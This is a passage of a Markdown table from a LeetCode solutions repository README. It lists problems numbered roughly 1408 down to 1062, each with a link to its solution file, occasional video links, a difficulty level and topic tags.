| | 1408 |[String Matching in an Array](https://leetcode.com/problems/string-matching-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1408.java) | | Easy | String | | 1403 |[Minimum Subsequence in Non-Increasing Order](https://leetcode.com/problems/minimum-subsequence-in-non-increasing-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1403.java) | | Easy | Greedy, Sort | | 1402 |[Reducing Dishes](https://leetcode.com/problems/reducing-dishes/)| [Solution](../master/cpp/_1402.cpp) | | Hard | Dynamic Programming | | 1401 |[Circle and Rectangle Overlapping](https://leetcode.com/problems/circle-and-rectangle-overlapping/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1401.java) | | Medium | Geometry | | 1400 |[Construct K Palindrome Strings](https://leetcode.com/problems/construct-k-palindrome-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1400.java) | | Medium | Greedy | | 1399 |[Count Largest Group](https://leetcode.com/problems/count-largest-group/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1399.java) | | Easy | Array | | 1396 |[Design Underground System](https://leetcode.com/problems/design-underground-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1396.java) | | Medium | Design | | 1395 |[Count Number of Teams](https://leetcode.com/problems/count-number-of-teams/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1395.java) | | Medium | Array | | 1394 |[Find Lucky Integer in an Array](https://leetcode.com/problems/find-lucky-integer-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1394.java) | | Easy | Array | | 1392 |[Longest Happy Prefix](https://leetcode.com/problems/longest-happy-prefix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1392.java) | | Hard | String, Rolling Hash | | 1390 |[Four Divisors](https://leetcode.com/problems/four-divisors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1390.java) | | Medium | Math | | 1389 |[Create Target Array in the Given Order](https://leetcode.com/problems/create-target-array-in-the-given-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1389.java) | | Easy | Array | | 1388 |[Pizza With 3n Slices](https://leetcode.com/problems/pizza-with-3n-slices/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1388.java) | | Hard | DP | | 1387 |[Sort Integers by The Power Value](https://leetcode.com/problems/sort-integers-by-the-power-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1387.java) | | Medium | Sort, Graph | | 1386 |[Cinema Seat Allocation](https://leetcode.com/problems/cinema-seat-allocation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1386.java) | | Medium | Array, Greedy | | 1385 |[Find the Distance Value Between Two Arrays](https://leetcode.com/problems/find-the-distance-value-between-two-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1385.java) | | Easy | Array | | 1382 |[Balance a Binary Search Tree](https://leetcode.com/problems/balance-a-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1382.java) | | Medium | Binary Search Tree | | 1381 |[Design a Stack With Increment Operation](https://leetcode.com/problems/design-a-stack-with-increment-operation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1381.java) | | Medium | Stack, Design | | 1380 |[Lucky Numbers in a Matrix](https://leetcode.com/problems/lucky-numbers-in-a-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1380.java) | | Easy | Array | | 1379 |[Find a Corresponding Node of a Binary Tree in a Clone of That Tree](https://leetcode.com/problems/find-a-corresponding-node-of-a-binary-tree-in-a-clone-of-that-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1379.java) | | Medium | Tree | | 1377 |[Frog Position After T Seconds](https://leetcode.com/problems/frog-position-after-t-seconds/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1377.java) | | Hard | DFS, BFS | | 1376 |[Time Needed to Inform All Employees](https://leetcode.com/problems/time-needed-to-inform-all-employees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1376.java) | | Medium | DFS | | 1375 |[Bulb Switcher III](https://leetcode.com/problems/bulb-switcher-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1375.java) | | Medium | Array | | 1374 |[Generate a String With Characters That Have Odd Counts](https://leetcode.com/problems/generate-a-string-with-characters-that-have-odd-counts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1374.java) | | Easy | String | | 1373 |[Maximum Sum BST in Binary Tree](https://leetcode.com/problems/maximum-sum-bst-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1373.java) | | Hard | DP, BST | | 1372 |[Longest ZigZag Path in a Binary Tree](https://leetcode.com/problems/longest-zigzag-path-in-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1372.java) | | Hard | DP, Tree | | 1371 |[Find the Longest Substring Containing Vowels in Even Counts](https://leetcode.com/problems/find-the-longest-substring-containing-vowels-in-even-counts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1371.java) | | Medium | String | | 1370 |[Increasing Decreasing String](https://leetcode.com/problems/increasing-decreasing-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1370.java) | | Easy | String, Sort | | 1367 |[Linked List in Binary Tree](https://leetcode.com/problems/linked-list-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1367.java) | | Medium | DP, Linked List, Tree | | 1366 |[Rank Teams by Votes](https://leetcode.com/problems/rank-teams-by-votes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1366.java) | | Medium | Array, Sort | | 1365 |[How Many Numbers Are Smaller Than the Current Number](https://leetcode.com/problems/how-many-numbers-are-smaller-than-the-current-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1365.java) | | Easy | Array, HashTable | | 1362 |[Closest Divisors](https://leetcode.com/problems/closest-divisors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1362.java) | | Medium | Math | | 1361 |[Validate Binary Tree Nodes](https://leetcode.com/problems/validate-binary-tree-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1361.java) | | Medium | Graph | 1360 |[Number of Days Between Two Dates](https://leetcode.com/problems/number-of-days-between-two-dates/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1360.java) | | Easy || | 1358 |[Number of Substrings Containing All Three Characters](https://leetcode.com/problems/number-of-substrings-containing-all-three-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1358.java) | | Medium | String | | 1357 |[Apply Discount Every n Orders](https://leetcode.com/problems/apply-discount-every-n-orders/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1357.java) | | Medium | Design | | 1356 |[Sort Integers by The Number of 1 Bits](https://leetcode.com/problems/sort-integers-by-the-number-of-1-bits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1356.java) | | Easy | Sort, Bit Manipulation | | 1354 |[Construct Target Array With Multiple Sums](https://leetcode.com/problems/construct-target-array-with-multiple-sums/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1354.java) | | Hard | Greedy | | 1353 |[Maximum Number of Events That Can Be Attended](https://leetcode.com/problems/maximum-number-of-events-that-can-be-attended/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1353.java) | | Medium | Greedy, Sort, Segment Tree | | 1352 |[Product of the Last K Numbers](https://leetcode.com/problems/product-of-the-last-k-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1352.java) | | Medium | Array, Design | | 1351 |[Count Negative Numbers in a Sorted Matrix](https://leetcode.com/problems/count-negative-numbers-in-a-sorted-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1351.java) | | Easy | Array, Binary Search | | 1349 |[Maximum Students Taking Exam](https://leetcode.com/problems/maximum-students-taking-exam/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1349.java) | | Hard | Dynamic Programming | | 1348 |[Tweet Counts Per Frequency](https://leetcode.com/problems/tweet-counts-per-frequency/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1348.java) | | Medium | Design | | 1347 |[Minimum Number of Steps to Make Two Strings Anagram](https://leetcode.com/problems/minimum-number-of-steps-to-make-two-strings-anagram/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1347.java) | | Easy | String | | 1346 |[Check If N and Its Double Exist](https://leetcode.com/problems/check-if-n-and-its-double-exist/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1346.java) | | Easy | Array | | 1345 |[Jump Game IV](https://leetcode.com/problems/jump-game-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1345.java) | | Hard | BFS | | 1344 |[Angle Between Hands of a Clock](https://leetcode.com/problems/angle-between-hands-of-a-clock/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1344.java) | | Medium | Math | | 1343 |[Number of Sub-arrays of Size K and Average Greater than or Equal to Threshold](https://leetcode.com/problems/number-of-sub-arrays-of-size-k-and-average-greater-than-or-equal-to-threshold/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1343.java) | | Medium | Array | | 1342 |[Number of Steps to Reduce a Number to Zero](https://leetcode.com/problems/number-of-steps-to-reduce-a-number-to-zero/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1342.java) | | Easy | Bit Manipulation | | 1341 |[The K Weakest Rows in a Matrix](https://leetcode.com/problems/the-k-weakest-rows-in-a-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1341.java) | | Easy || | 1339 |[Maximum Product of Splitted Binary Tree](https://leetcode.com/problems/maximum-product-of-splitted-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1339.java) | | Medium | DP, Tree | | 1338 |[Reduce Array Size to The Half](https://leetcode.com/problems/reduce-array-size-to-the-half/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1338.java) | | Medium || | 1337 |[Remove Palindromic Subsequences](https://leetcode.com/problems/remove-palindromic-subsequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1337.java) | | Easy | String | | 1333 |[Filter Restaurants by Vegan-Friendly, Price and Distance](https://leetcode.com/problems/filter-restaurants-by-vegan-friendly-price-and-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1333.java) | | Medium || | 1332 |[Remove Palindromic Subsequences](https://leetcode.com/problems/remove-palindromic-subsequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1332.java) | | Easy | String | | 1331 |[Rank Transform of an Array](https://leetcode.com/problems/rank-transform-of-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1331.java) | | Easy || | 1329 |[Sort the Matrix Diagonally](https://leetcode.com/problems/sort-the-matrix-diagonally/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1329.java) | | Medium || | 1325 |[Delete Leaves With a Given Value](https://leetcode.com/problems/delete-leaves-with-a-given-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1325.java) | | Medium | Tree | | 1324 |[Print Words Vertically](https://leetcode.com/problems/print-words-vertically/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1324.java) | | Medium | String | | 1323 |[Maximum 69 Number](https://leetcode.com/problems/maximum-69-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1323.java) | | Easy | Math | | 1317 |[Convert Integer to the Sum of Two No-Zero Integers](https://leetcode.com/problems/convert-integer-to-the-sum-of-two-no-zero-integers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1317.java) | | Easy || | 1315 |[Sum of Nodes with Even-Valued Grandparent](https://leetcode.com/problems/sum-of-nodes-with-even-valued-grandparent/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1315.java) | | Medium | Tree, DFS | | 1314 |[Matrix Block Sum](https://leetcode.com/problems/matrix-block-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1314.java) | | Medium | Dynamic Programming | | 1313 |[Decompress Run-Length Encoded List](https://leetcode.com/problems/decompress-run-length-encoded-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1313.java) | | Easy | Array | | 1305 |[All Elements in Two Binary Search Trees](https://leetcode.com/problems/all-elements-in-two-binary-search-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1305.java) | | Medium || | 1304 |[Find N Unique Integers Sum up to Zero](https://leetcode.com/problems/find-n-unique-integers-sum-up-to-zero/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1304.java) | | Easy || | 1302 |[Deepest Leaves Sum](https://leetcode.com/problems/deepest-leaves-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1302.java) | | Medium || | 1300 |[Sum of Mutated Array Closest to Target](https://leetcode.com/problems/sum-of-mutated-array-closest-to-target/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1300.java) | | Medium | Binary Search, Sorting | | 1299 |[Replace Elements with Greatest Element on Right Side](https://leetcode.com/problems/replace-elements-with-greatest-element-on-right-side/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1299.java) | | Easy || | 1297 |[Maximum Number of Occurrences of a Substring](https://leetcode.com/problems/maximum-number-of-occurrences-of-a-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1297.java) | | Medium || | 1296 |[Divide Array in Sets of K Consecutive Numbers](https://leetcode.com/problems/divide-array-in-sets-of-k-consecutive-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1296.java) | | Medium || | 1295 |[Find Numbers with Even Number of Digits](https://leetcode.com/problems/find-numbers-with-even-number-of-digits/)| [Java](../master/src/main/java/com/fishercoder/solutions/_1295.java) [Javascript](../master/javascript/_1295.js) | [:tv:](https://youtu.be/HRp8mNJvLZ0) | Easy || | 1291 |[Sequential Digits](https://leetcode.com/problems/sequential-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1291.java) | | Medium || | 1290 |[Convert Binary Number in a Linked List to Integer](https://leetcode.com/problems/convert-binary-number-in-a-linked-list-to-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1290.java) | | Easy || | 1289 |[Minimum Falling Path Sum II](https://leetcode.com/problems/minimum-falling-path-sum-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1289.java) | | Hard | Dynamic Programming | | 1287 |[Element Appearing More Than 25% In Sorted Array](https://leetcode.com/problems/element-appearing-more-than-25-in-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1287.java) | [:tv:](https://youtu.be/G74W8v2yVjY) | Easy || | 1286 |[Iterator for Combination](https://leetcode.com/problems/iterator-for-combination/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1286.java) | | Medium | Backtracking, Design | | 1283 |[Find the Smallest Divisor Given a Threshold](https://leetcode.com/problems/find-the-smallest-divisor-given-a-threshold/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1283.java) | Medium | | 1282 |[Group the People Given the Group Size They Belong To](https://leetcode.com/problems/group-the-people-given-the-group-size-they-belong-to/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1282.java) | [:tv:](https://www.youtube.com/watch?v=wGgcRCpSAa8) | Medium || | 1281 |[Subtract the Product and Sum of Digits of an Integer](https://leetcode.com/problems/subtract-the-product-and-sum-of-digits-of-an-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1281.java) | | Easy || | 1277 |[Count Square Submatrices with All Ones](https://leetcode.com/problems/count-square-submatrices-with-all-ones/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1277.java) | | Medium || | 1275 |[Find Winner on a Tic Tac Toe Game](https://leetcode.com/problems/find-winner-on-a-tic-tac-toe-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1275.java) | | Easy | Array | | 1273 |[Delete Tree Nodes](https://leetcode.com/problems/delete-tree-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1273.java) | | Medium | Dynamic Programming, DFS | | 1271 |[Hexspeak](https://leetcode.com/problems/hexspeak/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1271.java) | | Easy || | 1268 |[Search Suggestions System](https://leetcode.com/problems/search-suggestions-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1268.java) | [:tv:](https://youtu.be/PLNDfB0Vg9Y) | Medium | String | | 1267 |[Count Servers that Communicate](https://leetcode.com/problems/count-servers-that-communicate/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1267.java) | | Medium || | 1266 |[Minimum Time Visiting All Points](https://leetcode.com/problems/minimum-time-visiting-all-points/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1266.java) | | Easy || | 1265 |[Print Immutable Linked List in Reverse](https://leetcode.com/problems/print-immutable-linked-list-in-reverse//)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1265.java) | | Medium || | 1261 |[Find Elements in a Contaminated Binary Tree](https://leetcode.com/problems/find-elements-in-a-contaminated-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1261.java) || Medium | Tree, HashTable | | 1260 |[Shift 2D Grid](https://leetcode.com/problems/shift-2d-grid/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1260.java) | [:tv:](https://www.youtube.com/watch?v=9hBcARSiU0s) | Easy || | 1258 |[Synonymous Sentences](https://leetcode.com/problems/synonymous-sentences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1258.java) || Medium | Backtracking | | 1257 |[Smallest Common Region](https://leetcode.com/problems/smallest-common-region/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1257.java) || Medium | Tree, HashTable, DFS, BFS | | 1252 |[Cells with Odd Values in a Matrix](https://leetcode.com/problems/cells-with-odd-values-in-a-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1252.java) | | Easy || | 1249 |[Minimum Remove to Make Valid Parentheses](https://leetcode.com/problems/minimum-remove-to-make-valid-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1249.java) | | Medium | String, Stack | | 1243 |[Array Transformation](https://leetcode.com/problems/array-transformation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1243.java) | [:tv:](https://www.youtube.com/watch?v=MQ2i4T1l-Gs) | Easy || | 1237 |[Find Positive Integer Solution for a Given Equation](https://leetcode.com/problems/find-positive-integer-solution-for-a-given-equation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1237.java) | | Easy || | 1232 |[Check If It Is a Straight Line](https://leetcode.com/problems/check-if-it-is-a-straight-line/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1232.java) | [:tv:](https://www.youtube.com/watch?v=_tfiTQNZCbs) | Easy || | 1228 |[Missing Number In Arithmetic Progression](https://leetcode.com/problems/missing-number-in-arithmetic-progression/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1228.java) | | Easy || | 1221 |[Split a String in Balanced Strings](https://leetcode.com/problems/split-a-string-in-balanced-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1221.java) | | Easy | Greedy | | 1219 |[Path with Maximum Gold](https://leetcode.com/problems/path-with-maximum-gold/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1219.java) | | Medium | Backtracking | | 1217 |[Play with Chips](https://leetcode.com/problems/play-with-chips/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1217.java) | | Easy | Array, Math, Greedy | | 1214 |[Two Sum BSTs](https://leetcode.com/problems/two-sum-bsts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1214.java) | | Medium | Binary Search Tree | | 1213 |[Intersection of Three Sorted Arrays](https://leetcode.com/problems/intersection-of-three-sorted-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1213.java) | [:tv:](https://www.youtube.com/watch?v=zceoOrHSHNQ) | Easy || | 1209 |[Remove All Adjacent Duplicates in String II](https://leetcode.com/problems/remove-all-adjacent-duplicates-in-string-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1207.java) || Medium | Stack | | 1207 |[Unique Number of Occurrences](https://leetcode.com/problems/unique-number-of-occurrences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1207.java) | [:tv:](https://www.youtube.com/watch?v=_NYimlZY1PE) | Easy || | 1200 |[Minimum Absolute Difference](https://leetcode.com/problems/minimum-absolute-difference/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1200.java) | [:tv:](https://www.youtube.com/watch?v=mH1aEjOEjcQ) | Easy || | 1198 |[Find Smallest Common Element in All Rows](https://leetcode.com/problems/find-smallest-common-element-in-all-rows/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1198.java) | [:tv:](https://www.youtube.com/watch?v=RMiofZrTmWo) | Easy || | 1196 |[How Many Apples Can You Put into the Basket](https://leetcode.com/problems/how-many-apples-can-you-put-into-the-basket/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1196.java) | [:tv:](https://www.youtube.com/watch?v=UelshlMQNJM) | Easy || | 1190 |[Reverse Substrings Between Each Pair of Parentheses](https://leetcode.com/problems/reverse-substrings-between-each-pair-of-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1190.java) | | Medium | Stack | | 1189 |[Maximum Number of Balloons](https://leetcode.com/problems/maximum-number-of-balloons/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1189.java) | [:tv:](https://youtu.be/LGgMZC0vj5s) | Easy || | 1185 |[Day of the Week](https://leetcode.com/problems/day-of-the-week/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1185.java) | | Easy || | 1184 |[Distance Between Bus Stops](https://leetcode.com/problems/distance-between-bus-stops/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1184.java) | [:tv:](https://www.youtube.com/watch?v=RFq7yA5iyhI) | Easy || | 1182 |[Shortest Distance to Target Color](https://leetcode.com/problems/shortest-distance-to-target-color/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1182.java) || Medium | Binary Search | | 1180 |[Count Substrings with Only One Distinct Letter](https://leetcode.com/problems/count-substrings-with-only-one-distinct-letter/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1180.java) | | Easy | Math, String | | 1176 |[Diet Plan Performance](https://leetcode.com/problems/diet-plan-performance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1176.java) | | Easy | Array, Sliding Window | | 1175 |[Prime Arrangements](https://leetcode.com/problems/prime-arrangements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1175.java) | | Easy | Math | | 1171 |[Remove Zero Sum Consecutive Nodes from Linked List](https://leetcode.com/problems/remove-zero-sum-consecutive-nodes-from-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1171.java) | | Medium | LinkedList | | 1165 |[Single-Row Keyboard](https://leetcode.com/problems/single-row-keyboard/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1165.java) | | Easy || | 1161 |[Maximum Level Sum of a Binary Tree](https://leetcode.com/problems/maximum-level-sum-of-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1161.java) | | Medium | Graph | | 1160 |[Find Words That Can Be Formed by Characters](https://leetcode.com/problems/find-words-that-can-be-formed-by-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1160.java) | | Easy || | 1154 |[Day of the Year](https://leetcode.com/problems/day-of-the-year/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1154.java) | | Easy || | 1152 |[Analyze User Website Visit Pattern](https://leetcode.com/problems/analyze-user-website-visit-pattern/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1152.java) | [:tv:](https://youtu.be/V510Lbtrm5s) | Medium | HashTable, Sort, Array | | 1151 |[Minimum Swaps to Group All 1's Together](https://leetcode.com/problems/minimum-swaps-to-group-all-1s-together/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1151.java) || Medium | Array, Sliding Window | | 1150 |[Check If a Number Is Majority Element in a Sorted Array](https://leetcode.com/problems/check-if-a-number-is-majority-element-in-a-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1150.java) | [:tv:](https://youtu.be/-t2cdVs9cKk) | Easy || | 1146 |[Snapshot Array](https://leetcode.com/problems/snapshot-array/)| [Javascript](./javascript/_1146.js) | | Easy || | 1143 |[Longest Common Subsequence](https://leetcode.com/problems/longest-common-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1143.java) | | Medium ||String, DP | 1138 |[Alphabet Board Path](https://leetcode.com/problems/alphabet-board-path/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1138.java) | [:tv:](https://youtu.be/rk-aB4rEOyU) | Medium | HashTable, String | | 1137 |[N-th Tribonacci Number](https://leetcode.com/problems/n-th-tribonacci-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1137.java) | | Easy || | 1136 |[Parallel Courses](https://leetcode.com/problems/parallel-courses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1136.java) | | Medium || | 1134 |[Armstrong Number](https://leetcode.com/problems/armstrong-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1134.java) | [:tv:](https://www.youtube.com/watch?v=HTL7fd4HPf4) | Easy || | 1133 |[Largest Unique Number](https://leetcode.com/problems/largest-unique-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1133.java) | [:tv:](https://youtu.be/Fecpt1YZlCs) | Easy || | 1128 |[Number of Equivalent Domino Pairs](https://leetcode.com/problems/number-of-equivalent-domino-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1128.java) | [:tv:](https://www.youtube.com/watch?v=7EpEEHAAxyw) | Easy || | 1122 |[Relative Sort Array](https://leetcode.com/problems/relative-sort-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1122.java) | | Easy || | 1170 |[Compare Strings by Frequency of the Smallest Character](https://leetcode.com/problems/compare-strings-by-frequency-of-the-smallest-character/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1170.java) | | Easy || | 1119 |[Remove Vowels from a String](https://leetcode.com/problems/remove-vowels-from-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1119.java) | [:tv:](https://www.youtube.com/watch?v=6KCBrIWEauw) | Easy || | 1118 |[Number of Days in a Month](https://leetcode.com/problems/number-of-days-in-a-month/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1118.java) | | Easy || | 1114 |[Print in Order](https://leetcode.com/problems/print-in-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1114.java) | | Easy || | 1110 |[Delete Nodes And Return Forest](https://leetcode.com/problems/delete-nodes-and-return-forest/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1110.java) | | Medium | Tree, DFS | | 1108 |[Defanging an IP Address](https://leetcode.com/problems/defanging-an-ip-address/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1108.java) | [:tv:](https://www.youtube.com/watch?v=FP0Na-pL0qk) | Easy || | 1104 |[Path In Zigzag Labelled Binary Tree](https://leetcode.com/problems/path-in-zigzag-labelled-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1104.java) | | Medium | Math, Tree | | 1103 |[Distribute Candies to People](https://leetcode.com/problems/distribute-candies-to-people/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1103.java) | | Easy | Math | | 1100 |[Find K-Length Substrings With No Repeated Characters](https://leetcode.com/problems/find-k-length-substrings-with-no-repeated-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1100.java) | | Medium | String, Sliding Window | | 1099 |[Two Sum Less Than K](https://leetcode.com/problems/two-sum-less-than-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1099.java) | [:tv:](https://www.youtube.com/watch?v=2Uq7p7HE0TI) | Easy || | 1094 |[Car Pooling](https://leetcode.com/problems/car-pooling/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1094.java) | | Medium | Array, Sorting, Heap, Simulation, Prefix Sum | | 1090 |[Largest Values From Labels](https://leetcode.com/problems/largest-values-from-labels/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1090.java) | [:tv:](https://youtu.be/E0OkE3G95vU) | Medium | HashTable, Greedy | | 1091 |[Shortest Path in Binary Matrix](https://leetcode.com/problems/shortest-path-in-binary-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1091.java) | | Medium | BFS | | 1089 |[Duplicate Zeros](https://leetcode.com/problems/duplicate-zeros/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1089.java) | | Easy || | 1087 |[Brace Expansion](https://leetcode.com/problems/brace-expansion/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1087.java) | | Medium | Backtracking | | 1086 |[High Five](https://leetcode.com/problems/high-five/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1086.java) | [:tv:](https://www.youtube.com/watch?v=3iqC5J4l0Cc) | Easy || | 1085 |[Sum of Digits in the Minimum Number](https://leetcode.com/problems/sum-of-digits-in-the-minimum-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1085.java) | [:tv:](https://www.youtube.com/watch?v=GKYmPuHZpQg) | Easy || | 1079 |[Letter Tile Possibilities](https://leetcode.com/problems/letter-tile-possibilities/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1079.java) | | Medium || | 1078 |[Occurrences After Bigram](https://leetcode.com/problems/occurrences-after-bigram/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1078.java) | | Easy || | 1071 |[Greatest Common Divisor of Strings](https://leetcode.com/problems/greatest-common-divisor-of-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1071.java) | | Easy || | 1066 |[Campus Bikes II](https://leetcode.com/problems/campus-bikes-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1066.java) | | Medium | Backtracking, DP | | 1065 |[Index Pairs of a String](https://leetcode.com/problems/index-pairs-of-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1065.java) | | Medium || | 1062 |[Longest Repeating Substring](https://leetcode.com/problems/longest-repeating-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1062.java) | | Medium | String, Binary Search, DP, Rolling Hash, Suffix 